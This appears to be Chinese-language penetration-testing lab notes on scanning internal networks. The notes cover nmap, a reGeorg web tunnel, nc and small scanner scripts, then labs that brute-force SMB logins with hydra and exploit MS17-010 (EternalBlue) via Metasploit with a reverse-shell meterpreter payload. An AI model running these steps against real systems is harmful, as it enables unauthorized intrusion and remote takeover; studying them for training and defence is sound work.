端口扫描
思路:首先查看内网存活的主机,然后查看存活主机的开放端口
方法一:利用nmap工具
nmap.exe -sP 目标网段或指定ip
nmap 目标ip
方法二:通过代理,用外网的nmap进行扫描
1.上传regeo代理脚本tunnel.aspx到内网的dmz区
2.在攻击机上输入以下内容,通过regeorg代理内网的dmz机
python reGeorgSocksProxy.py -u http://192.168.240.50/tunnel.aspx
3.修改代理的配置文件
vim /etc/proxychains.conf
4.对目标机进行深度扫描
proxychains nmap -sT -Pn -p 80,445,3389 目标ip
方法三:s扫描器
1.上传s扫描器
2.查看端口,512是指线程
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512
3.将扫描到的信息打印出来
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512 /BANNER
4.在当前目录下生成一个result文件,存放扫描的结果
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512 /save
方法四:利用nc
扫描目标地址的ip
nc -nvv -w2 -z 目标ip 1-3000
方法五:可通过自写脚本进行扫描
php,python,perl,ruby,java,c等程序都可以用来做端口扫描,同时还可以使用bat或者shell脚本来做扫描
python脚本
#!/usr/bin/env python
import socket
def get_ip_status(ip,port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.connect((ip,port))
print('{0} port {1} is open'.format(ip, port))
except Exception as err:
print('{0} port {1} is not open'.format(ip,port))
finally:
server.close()
if __name__ == '__main__':
host = '10.0.0.11'
for port in range(20,100):
get_ip_status(host,port)
php脚本
$arr = [80,8080,3306];
foreach ($arr as $port) {
$fp = @fsockopen('172.29.159.198',$port,$errno,$errstr,0.1);
if (!$fp) {
echo $port." closed\n";
}else{
echo $port." Opend\n";
}
}
实验一:端口弱口令扫描
实验环境:kali和win3
实验步骤:
利用kali里的九头蛇工具
1.利用nmap查看目标机的端口
2.利用九头蛇hydra工具进行爆破
输入:
hydra -L user.txt -P pass.txt 192.168.240.135(目标ip) smb(爆破的服务名)
实验二:利用namp脚本
实验环境:kali和win3
实验步骤:
1.查看namp的位置,输入:whereis nmap
2.进入脚本所在位置:
脚本位置:/usr/share/nmap/scripts
3.过滤漏洞探测脚本
4.选择合适脚本进行攻击
nmap -p 445 --script smb-vuln-ms17-010.nse 目标机ip
实验三:端口漏洞扫描
实验环境:kali和win7
实验步骤:
利用kali中的msfconsole工具
1.输入msfconsole进入该工具
2.查看对应漏洞可利用的脚本
search 17_010
3.查看漏洞扫描脚本
use auxiliary/scanner
4.利用指定漏洞扫描内网中的机器
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 目标机ip/32
exploit
5.利用合适的exp进行攻击
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhost 目标机ip
6.设置payload进行攻击
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 攻击机ip
show options
exploit